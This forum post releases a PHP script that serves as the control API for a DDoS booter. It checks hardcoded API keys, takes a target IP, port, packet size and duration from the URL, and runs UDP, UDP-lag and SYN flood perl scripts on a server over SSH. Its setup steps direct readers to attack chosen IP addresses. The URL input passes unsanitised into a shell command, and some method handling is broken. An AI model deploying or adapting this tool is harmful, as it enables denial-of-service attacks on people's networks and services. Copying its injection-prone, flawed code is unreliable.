Coded this in a little bit of time for fun. This is very simple to use, all you have to do is edit the server functions and your command functions.
API Code
Installation:
1. >> Edit the server information on line 41 and on 42 with your server information.
2. >> On line 12, 13, 14 replace perl Viking.pl or whatever the command is, with your command script. Example: ./udp.pl
3. >> On line 88;131;174 edit the $ssh->exec(''.$cmd.' '.$host.' '.$port.' '.$byte.' '.$time.''); line; how-ever your command script is set up.
4. >> Upload the script on your Web-Hosting, then go to the api.php page that you saved it under.
5. >> On line 5,6,7,8,9 are the API Keys; without this, a user cannot send a command.
6. >> After the link, type "?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=7322981105" Replace 255.255.0.0 with the IP Address you want to attack, and 80 for the port, 30 for the seconds, and enter your API Key where it says apikey=.
7. >> Go on your server and install dstat (yum -y install dstat), send an attack on the web page, and then run a dstat on your server and see if it's sending the packets.
If you need help setting this up, send me a PM.
API Code
Code
<?php
//Coded by: Tosca
//Release: 1/26/2015
$apikey1 = "7322981105"; //APIKey1
$apikey2 = "2129540433"; //APIKey2
$apikey3 = "2IGBEIRGH2"; //APIKey3
$apikey4 = "645R4HD6F5"; //APIKey4
$apikey5 = "34T65344HH"; //APIKey5
$maxtime = "20001"; //MAX BOOT TIME
$maxtime1 = "20,000"; //Shows what max time is.
$cmd = "perl Viking.pl"; //DDoS Script being executed to server.
$cmd2 = "perl Lag.pl"; //DDoS Script being executed to server.
$cmd3 = "perl SSYN.pl"; //DDoS Script being executed to server.
$methods = "3"; //How many attack methods.
$method = $_GET['method']; //Gets method from link
$host = $_GET['host']; //Gets host from link
$port = $_GET['port']; //Gets port from link
$byte = $_GET['byte']; //Gets byte from link
$time = $_GET['time']; //Gets time from link
$apikey = $_GET['apikey']; //Gets apikey from link
include('Net/SSH2.php'); //Gets main scripts.
?>
<?php
if ($apikey == null) {
ob_end_clean();
echo '<font color="red">ERROR</font>: Enter your API Key.</font>';
} else {
}
?>
<?php
if ($apikey == $apikey1 || $apikey == $apikey2 || $apikey == $apikey3 || $apikey == $apikey4 || $apikey == $apikey5) {
if ($method >= $methods) {
echo "Invalid attack method.";
} else {
$ssh = new Net_SSH2('127.0.0.0');
if (!$ssh->login('root', 'password')) {
exit('Login Failed');
} else {
if ($method == null) {
echo '<font color="red">Syntax Error, enter a method.</font> </br>';
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1 </br>";
echo "METHOD 1 = UDP </br>";
echo "METHOD 2 = UDPLAG </br>";
echo "METHOD 3 = SSYN";
} else {
if ($method == "1") {
if ($host == null) {
echo '<font color="red">Syntax Error, no host entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1 </br>";
} else {
if ($port == null) {
echo '<font color="red">Syntax Error, no port entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1 </br>";
} else {
if ($byte == null) {
echo '<font color="red">Syntax Error, no packet size entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1 </br>";
} else {
if ($time == null) {
echo '<font color="red">Syntax Error, no time entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=1 </br>";
} else {
if ($host == "76.94.61.108") {
echo '<font color="black">IP Address ' . $host . ' is blacklisted.</font>';
} else {
if ($time >= $maxtime) {
echo '<font color="black">Syntax Error, max boot time is ' . $maxtime1 . ' seconds.</font>';
} else {
$ssh->exec('' . $cmd . ' ' . $host . ' ' . $port . ' ' . $byte . ' ' . $time . '');
echo 'UDP: Attack successfully sent to ' . $host . '.';
}
}
}
}
}
}
}
if ($method == "2") {
if ($host == null) {
echo '<font color="red">Syntax Error, no host entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1 </br>";
} else {
if ($port == null) {
echo '<font color="red">Syntax Error, no port entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1 </br>";
} else {
if ($byte == null) {
echo '<font color="red">Syntax Error, no packet size entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1 </br>";
} else {
if ($time == null) {
echo '<font color="red">Syntax Error, no time entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=2&apikey=1 </br>";
} else {
if ($host == "76.94.61.108") {
echo '<font color="black">IP Address ' . $host . ' is blacklisted.</font>';
} else {
if ($time >= $maxtime) {
echo '<font color="black">Syntax Error, max boot time is ' . $maxtime1 . ' seconds.</font>';
} else {
$ssh->exec('' . $cmd . ' ' . $host . ' ' . $port . ' ' . $byte . ' ' . $time . '');
echo 'UDPLAG: Attack successfully sent to ' . $host . '.';
}
}
}
}
}
}
}
if ($method == "3") {
if ($host == null) {
echo '<font color="red">Syntax Error, no host entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1 </br>";
} else {
if ($port == null) {
echo '<font color="red">Syntax Error, no port entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1 </br>";
} else {
if ($byte == null) {
echo '<font color="red">Syntax Error, no packet size entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1 </br>";
} else {
if ($time == null) {
echo '<font color="red">Syntax Error, no time entered.</font>';
echo "</br>";
echo "Format: ?host=255.255.0.0&port=80&byte=1024&time=30&method=3&apikey=1 </br>";
} else {
if ($host == "76.94.61.108") {
echo '<font color="black">IP Address ' . $host . ' is blacklisted.</font>';
} else {
if ($time >= $maxtime) {
echo '<font color="black">Syntax Error, max boot time is ' . $maxtime1 . ' seconds.</font>';
} else {
$ssh->exec('' . $cmd . ' ' . $host . ' ' . $port . ' ' . $byte . ' ' . $time . '');
echo 'SSYN: Attack successfully sent to ' . $host . '.';
}
}
}
}
}
}
}
}
}
}
}
?>Installation:
1. >> Edit the server information on line 41 and on 42 with your server information.
2. >> On line 12, 13, 14 replace perl Viking.pl or whatever the command is, with your command script. Example: ./udp.pl
3. >> On line 88;131;174 edit the $ssh->exec(''.$cmd.' '.$host.' '.$port.' '.$byte.' '.$time.''); line; how-ever your command script is set up.
4. >> Upload the script on your Web-Hosting, then go to the api.php page that you saved it under.
5. >> On line 5,6,7,8,9 are the API Keys; without this, a user cannot send a command.
6. >> After the link, type "?host=255.255.0.0&port=80&byte=1024&time=30&method=1&apikey=7322981105" Replace 255.255.0.0 with the IP Address you want to attack, and 80 for the port, 30 for the seconds, and enter your API Key where it says apikey=.
7. >> Go on your server and install dstat (yum -y install dstat), send an attack on the web page, and then run a dstat on your server and see if it's sending the packets.
If you need help setting this up, send me a PM.


